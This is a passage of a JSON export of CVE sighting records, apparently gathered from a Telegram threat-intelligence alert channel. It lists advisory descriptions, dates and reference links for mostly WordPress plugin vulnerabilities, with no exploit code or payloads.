https://www.wordfence.com/threat-intel/vulnerabilities/id/8209761c-2cfe-49b9-ab4c-49a9a13b5dcf?source=cve\n2. https://wordpress.org/plugins/moving-users/", "creation_timestamp": "2025-01-17T07:56:37.000000Z"}, {"uuid": "63937218-a368-4baf-a0fb-f73d5ad3c258", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12598", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2103", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12598\n\ud83d\udd39 Description: The MyBookProgress by Stormhill Media plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the \u2018book\u2019 parameter in all versions up to, and including, 1.0.8 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-17T07:01:28.713Z\n\ud83d\udccf Modified: 2025-01-17T07:01:28.713Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/b20a11c1-9aa0-4f5d-af3d-89fb9bf4e1d0?source=cve\n2. https://wordpress.org/plugins/mybookprogress/#developers", "creation_timestamp": "2025-01-17T07:56:37.000000Z"}, {"uuid": "f042a2fe-e17d-4063-b2f6-c727c40a29ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12466", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2102", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12466\n\ud83d\udd39 Description: The Proofreading plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'nonce' parameter in all versions up to, and including, 1.2.1.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-17T07:01:29.141Z\n\ud83d\udccf Modified: 2025-01-17T07:01:29.141Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/b3f666a3-6287-4c9b-94d3-7bc457701af2?source=cve\n2. https://plugins.trac.wordpress.org/browser/proofreading/tags/1.2.1.1/admin/partials/proofreading-admin-display.php#L103\n3. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3223417%40proofreading&new=3223417%40proofreading&sfp_email=&sfph_mail=", "creation_timestamp": "2025-01-17T07:56:36.000000Z"}, {"uuid": "498b53e1-f57e-4812-b86c-4957bdfea131", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12203", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2101", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12203\n\ud83d\udd39 Description: The RSS Icon Widget plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the \u2018link_color\u2019 parameter in all versions up to, and including, 5.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.\n\ud83d\udccf Published: 2025-01-17T07:01:29.571Z\n\ud83d\udccf Modified: 2025-01-17T07:01:29.571Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/fbd8fec7-c95a-4c03-ac0d-894a54906863?source=cve\n2. https://plugins.trac.wordpress.org/browser/rss-icon-widget/trunk/rss-icon-widget.php#L83\n3. https://plugins.trac.wordpress.org/browser/rss-icon-widget/trunk/rss-icon-widget.php#L195", "creation_timestamp": "2025-01-17T07:56:35.000000Z"}, {"uuid": "3233a545-d3a1-447f-8e90-c0a477753e23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12370", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2110", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12370\n\ud83d\udd39 Description: The WP Hotel Booking plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check when adding rooms in all versions up to, and including, 2.1.5. This makes it possible for unauthenticated attackers to add rooms with custom prices.\n\ud83d\udccf Published: 2025-01-17T08:25:38.307Z\n\ud83d\udccf Modified: 2025-01-17T08:25:38.307Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/5df32365-5381-48e0-9313-7e83c4c6c440?source=cve\n2. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3210798%40wp-hotel-booking%2Ftags%2F2.1.5&new=3214765%40wp-hotel-booking%2Ftags%2F2.1.6", "creation_timestamp": "2025-01-17T08:56:59.000000Z"}, {"uuid": "3dc15b2b-40a0-4aef-a623-dd81ee3a0d10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12142", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2119", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12142\n\ud83d\udd39 Description: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor vulnerability exists that could\ncause information disclosure of restricted web page, modification of web page and denial of\nservice when specific web pages are modified and restricted functions are invoked.\n\ud83d\udccf Published: 2025-01-17T10:19:11.768Z\n\ud83d\udccf Modified: 2025-01-17T10:19:11.768Z\n\ud83d\udd17 References:\n1. https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2025-014-05&p_enDocType=Security+and+Safety+Notice&p_File_Name=SEVD-2025-014-05.pdf", "creation_timestamp": "2025-01-17T10:57:03.000000Z"}, {"uuid": "a8ad8d6c-e2ad-4aa4-ae7a-7e20d36559d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12005", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2383", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12005\n\ud83d\udd39 Description: The WP-BibTeX plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 3.0.1. This is due to missing or incorrect nonce validation on the wp_bibtex_option_page() function. This makes it possible for unauthenticated attackers to inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-21T09:21:09.602Z\n\ud83d\udccf Modified: 2025-01-21T09:21:09.602Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/077538e2-ef9a-490f-9188-31f9cb82aaf7?source=cve\n2. https://wordpress.org/plugins/wp-bibtex/#developers\n3. https://plugins.trac.wordpress.org/browser/wp-bibtex/trunk/wp-bibtex-options.php#L55\n4. https://plugins.trac.wordpress.org/changeset/3225023", "creation_timestamp": "2025-01-21T10:01:18.000000Z"}, {"uuid": "dbb1a77b-1bb0-4306-b077-feebe3df7a58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12578", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2157", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12578\n\ud83d\udd39 Description: The Tickera \u2013 WordPress Event Ticketing plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 3.5.4.8 via the 'tickera_tickets_info' endpoint. This makes it possible for unauthenticated attackers to extract sensitive data from bookings like full names, email addresses, check-in/out timestamps and more.\n\ud83d\udccf Published: 2024-12-14T04:23:39.780Z\n\ud83d\udccf Modified: 2025-01-17T16:27:12.789Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/2db29c12-bf8a-4d5a-b12a-6c74b816d5f0?source=cve\n2. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3201476%40tickera-event-ticketing-system&new=3201476%40tickera-event-ticketing-system&sfp_email=&sfph_mail=", "creation_timestamp": "2025-01-17T16:56:58.000000Z"}, {"uuid": "6cab78cd-1919-4716-b371-be190e115056", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12757", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2179", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12757\n\ud83d\udd39 Description: Nedap Librix Ecoreader \n is missing authentication for critical functions that could allow an \nunauthenticated attacker to potentially execute malicious code.\n\ud83d\udccf Published: 2025-01-17T17:41:38.174Z\n\ud83d\udccf Modified: 2025-01-17T17:41:38.174Z\n\ud83d\udd17 References:\n1. https://www.cisa.gov/news-events/ics-advisories/icsa-25-007-02", "creation_timestamp": "2025-01-17T17:57:14.000000Z"}, {"uuid": "de6f4202-d5bb-475b-9a02-a0940c3388cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12385", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2284", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12385\n\ud83d\udd39 Description: The WP Abstracts plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.7.2. This is due to missing nonce validation on the wpabstracts_load_status() and wpabstracts_delete_abstracts() functions. This makes it possible for unauthenticated attackers to inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-18T07:05:08.582Z\n\ud83d\udccf Modified: 2025-01-18T07:05:08.582Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/79af711e-d044-447e-9802-8be648a3843d?source=cve\n2. https://plugins.trac.wordpress.org/browser/wp-abstracts-manuscripts-manager/trunk/abstracts/abstracts.manage.php#L205\n3. https://plugins.trac.wordpress.org/browser/wp-abstracts-manuscripts-manager/trunk/abstracts/abstracts.manage.php#L148\n4. https://wordpress.org/plugins/wp-abstracts-manuscripts-manager/#developers\n5. https://plugins.trac.wordpress.org/changeset/3223874/", "creation_timestamp": "2025-01-18T07:57:22.000000Z"}, {"uuid": "0a7905b9-151e-4ec4-9d90-04a114ebc3ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12071", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2271", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12071\n\ud83d\udd39 Description: The Evergreen Content Poster \u2013 Auto Post and Schedule Your Best Content to Social Media plugin for WordPress is vulnerable to unauthorized loss of data due to a missing capability check on the delete_network_post() function in all versions up to, and including, 1.4.4. This makes it possible for unauthenticated attackers to delete arbitrary posts and pages.\n\ud83d\udccf Published: 2025-01-18T03:21:12.989Z\n\ud83d\udccf Modified: 2025-01-18T03:21:12.989Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/aa07f48f-370f-4985-a6fc-a94ed5c59ed4?source=cve\n2. https://plugins.trac.wordpress.org/browser/evergreen-content-poster/trunk/includes/class-evergreen_content_poster.php#L345\n3. https://plugins.trac.wordpress.org/browser/evergreen-content-poster/trunk/admin/class-evergreen_content_poster-admin.php#L333\n4. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3224190%40evergreen-content-poster&new=3224190%40evergreen-content-poster&sfp_email=&sfph_mail=", "creation_timestamp": "2025-01-18T03:57:31.000000Z"}, {"uuid": "a07d426b-8925-48c1-a6fb-962d0a153301", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12696", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2281", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12696\n\ud83d\udd39 Description: The Picture Gallery \u2013 Frontend Image Uploads, AJAX Photo List plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's videowhisper_picture_upload_guest shortcode in all versions up to, and including, 1.5.22 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-18T07:05:10.013Z\n\ud83d\udccf Modified: 2025-01-18T07:05:10.013Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/a116c846-72df-4701-893a-744a26b191d6?source=cve\n2. https://wordpress.org/plugins/picture-gallery/#developers\n3. https://plugins.trac.wordpress.org/changeset/3224277/", "creation_timestamp": "2025-01-18T07:57:17.000000Z"}, {"uuid": "e9ab5187-82fc-4d56-8d40-8d4b7930ee58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12879", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2519", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12879\n\ud83d\udd39 Description: The WPBot Pro Wordpress Chatbot plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'qc_wp_latest_update_check_pro' function in all versions up to, and including, 13.5.5. This makes it possible for authenticated attackers, with Subscriber-level access and above, to create Simple Text Responses to chat queries.\n\ud83d\udccf Published: 2025-01-22T05:23:04.823Z\n\ud83d\udccf Modified: 2025-01-22T05:23:04.823Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/91427e3e-fedb-407e-8af6-8f4411a4166a?source=cve\n2. https://www.wpbot.pro/", "creation_timestamp": "2025-01-22T06:03:31.000000Z"}, {"uuid": "74bfdec5-44a8-4aa0-ade0-26cc5be652a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12857", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2529", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12857\n\ud83d\udd39 Description: The AdForest theme for WordPress is vulnerable to authentication bypass in all versions up to, and including, 5.1.8. This is due to the plugin not properly verifying a user's identity prior to logging them in as that user. This makes it possible for unauthenticated attackers to authenticate as any user as long as they have configured OTP login by phone number.\n\ud83d\udccf Published: 2025-01-22T07:03:52.415Z\n\ud83d\udccf Modified: 2025-01-22T07:03:52.415Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/4ff3b4f1-dd36-43d0-b472-55a940907437?source=cve\n2. https://themeforest.net/item/adforest-classified-wordpress-theme/19481695", "creation_timestamp": "2025-01-22T08:02:07.000000Z"}, {"uuid": "56502163-8af3-425d-93ce-e08c8410373f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12104", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2382", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12104\n\ud83d\udd39 Description: The Visual Website Collaboration, Feedback & Project Management \u2013 Atarim plugin for WordPress is vulnerable to unauthorized loss of data due to a missing capability check on the wpf_delete_file and wpf_delete_file functions in all versions up to, and including, 4.0.9. This makes it possible for unauthenticated attackers to delete project pages and files.\n\ud83d\udccf Published: 2025-01-21T09:21:10.182Z\n\ud83d\udccf Modified: 2025-01-21T09:21:10.182Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/7d40c658-a156-470e-bf93-a1f2ccec9c61?source=cve\n2. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3225314%40atarim-visual-collaboration&new=3225314%40atarim-visual-collaboration&sfp_email=&sfph_mail=", "creation_timestamp": "2025-01-21T10:01:18.000000Z"}, {"uuid": "7c756f54-64ca-411c-b0fb-76012e33d3aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12698", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2380", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12698\n\ud83d\udd39 Description: An incomplete fix for ose-olm-catalogd-container was issued for the Rapid Reset Vulnerability (CVE-2023-39325/CVE-2023-44487) where only unauthenticated streams were protected, not streams created by authenticated sources.\n\ud83d\udccf Published: 2024-12-18T05:07:21.026Z\n\ud83d\udccf Modified: 2025-01-21T09:28:08.318Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/security/cve/CVE-2024-12698\n2. https://bugzilla.redhat.com/show_bug.cgi?id=2332674", "creation_timestamp": "2025-01-21T10:01:16.000000Z"}, {"uuid": "05e59356-7551-49d2-b4b9-0202ff233390", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12334", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3131", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: GHSA-x7qc-wx3v-p86v\n\ud83d\udd25 CVSS Score: N/A (CVSS_V3)\n\ud83d\udd39 Description: The WC Affiliate \u2013 A Complete WooCommerce Affiliate Plugin plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via any parameter in all versions up to, and including, 2.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-26T12:30:31Z\n\ud83d\udccf Modified: 2025-01-26T12:30:31Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12334\n2. https://plugins.trac.wordpress.org/changeset/3224312/wc-affiliate\n3. https://www.wordfence.com/threat-intel/vulnerabilities/id/efca1ee2-2038-440e-941c-22533b4d833b?source=cve", "creation_timestamp": "2025-01-26T13:06:16.000000Z"}, {"uuid": "679b340c-b65d-4db4-bf59-b7c156a5bc69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12118", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2722", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12118\n\ud83d\udd39 Description: The The Events Calendar plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Event Calendar Link Widget through the html_tag attribute in all versions up to, and including, 6.9.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-23T11:13:29.698Z\n\ud83d\udccf Modified: 2025-01-23T11:13:29.698Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/d67de4f2-b680-49f8-be95-c2464b70f7d0?source=cve\n2. https://plugins.trac.wordpress.org/browser/the-events-calendar/tags/6.8.1/src/Events/Integrations/Plugins/Elementor/Widgets/Event_Calendar_Link.php#L90\n3. https://plugins.trac.wordpress.org/changeset/3227009/the-events-calendar/tags/6.9.1/src/views/integrations/elementor/widgets/event-calendar-link.php", "creation_timestamp": "2025-01-23T12:03:32.000000Z"}, {"uuid": "4671aac0-3674-4d7d-a13d-91dd6b5c8ff9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12477", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2671", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12477\n\ud83d\udd39 Description: The Avada Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's shortcodes in all versions up to, and including, 3.11.11 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-22T21:21:53.814Z\n\ud83d\udccf Modified: 2025-01-22T21:21:53.814Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/7c54588f-6436-406f-93cb-b08965586d11?source=cve\n2. https://avada.com", "creation_timestamp": "2025-01-22T22:02:39.000000Z"}, {"uuid": "ea59c7ef-774d-4b62-ac49-511640054e8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12957", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2716", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12957\n\ud83d\udd39 Description: A file handling command vulnerability in certain versions of Armoury Crate may result in arbitrary file deletion.\nRefer to the '01/23/2025 Security Update for Armoury Crate App' section on the ASUS Security Advisory for more information.\n\ud83d\udccf Published: 2025-01-23T09:41:12.337Z\n\ud83d\udccf Modified: 2025-01-23T09:41:12.337Z\n\ud83d\udd17 References:\n1. https://www.asus.com/content/asus-product-security-advisory/", "creation_timestamp": "2025-01-23T10:03:15.000000Z"}, {"uuid": "3a84c91e-4c00-473d-bc7f-c0f4b868b0e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12504", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2726", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12504\n\ud83d\udd39 Description: The Broadcast Live Video \u2013 Live Streaming : HTML5, WebRTC, HLS, RTSP, RTMP plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'videowhisper_hls' shortcode in all versions up to, and including, 6.1.9 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-23T11:13:28.100Z\n\ud83d\udccf Modified: 2025-01-23T11:13:28.100Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/74b27798-3c6f-4c4e-80f8-7aa40f704fb7?source=cve\n2. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3218331%40videowhisper-live-streaming-integration&new=3218331%40videowhisper-live-streaming-integration&sfp_email=&sfph_mail=", "creation_timestamp": "2025-01-23T12:03:38.000000Z"}, {"uuid": "97dd45af-555c-4a35-8d0e-e0796946be92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12043", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2728", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12043\n\ud83d\udd39 Description: The Prime Slider \u2013 Addons For Elementor (Revolution of a slider, Hero Slider, Post Slider and Ecommerce Slider) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'social_link_title' parameter of the 'blog' widget in all versions up to, and including, 3.16.5 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-23T11:13:27.032Z\n\ud83d\udccf Modified: 2025-01-23T11:13:27.032Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/23e1fffa-9170-4bc2-ad7e-27708a08033b?source=cve\n2. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3222179%40bdthemes-prime-slider-lite&new=3222179%40bdthemes-prime-slider-lite&sfp_email=&sfph_mail=", "creation_timestamp": "2025-01-23T12:03:40.000000Z"}, {"uuid": "818d0e9d-1d86-4fc7-affd-89982f6173a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12037", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3655", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12037\n\ud83d\udd25 CVSS Score: 6.2 (CVSS_V3)\n\ud83d\udd39 Description: The Post Form \u2013 Registration Form \u2013 Profile Form for User Profiles \u2013 Frontend Content Forms for User Submissions (UGC) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'bf_new_submission_link' shortcode in all versions up to, and including, 2.8.13 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-31T12:33:02Z\n\ud83d\udccf Modified: 2025-01-31T12:33:02Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12037\n2. https://plugins.trac.wordpress.org/changeset/3231602/buddyforms/trunk/includes/shortcodes.php\n3. https://www.wordfence.com/threat-intel/vulnerabilities/id/accd4f34-4e10-4c83-96c3-c2a078ecd5cc?source=cve", "creation_timestamp": "2025-01-31T13:15:09.000000Z"}, {"uuid": "0bb6fd74-dded-4a16-a59a-44d0ac70b504", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12334", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3135", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12334\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2025-01-26T12:15:28.460\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://plugins.trac.wordpress.org/changeset/3224312/wc-affiliate\n2. https://www.wordfence.com/threat-intel/vulnerabilities/id/efca1ee2-2038-440e-941c-22533b4d833b?source=cve", "creation_timestamp": "2025-01-26T13:14:25.000000Z"}, {"uuid": "60567346-4468-44cd-b668-9a32daf8d3c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12415", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/3652", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12415\n\ud83d\udd25 CVSS Score: 6.4 (CVSS_V3)\n\ud83d\udd39 Description: The The AI Infographic Maker plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 4.9.0. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes.\n\ud83d\udccf Published: 2025-01-31T12:33:02Z\n\ud83d\udccf Modified: 2025-01-31T12:33:02Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12415\n2. https://plugins.trac.wordpress.org/browser/infographic-and-list-builder-ilist/trunk/embed/qcld-embed-link.php#L46\n3. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3210519%40infographic-and-list-builder-ilist&new=3210519%40infographic-and-list-builder-ilist&sfp_email=&sfph_mail=#file1030\n4. 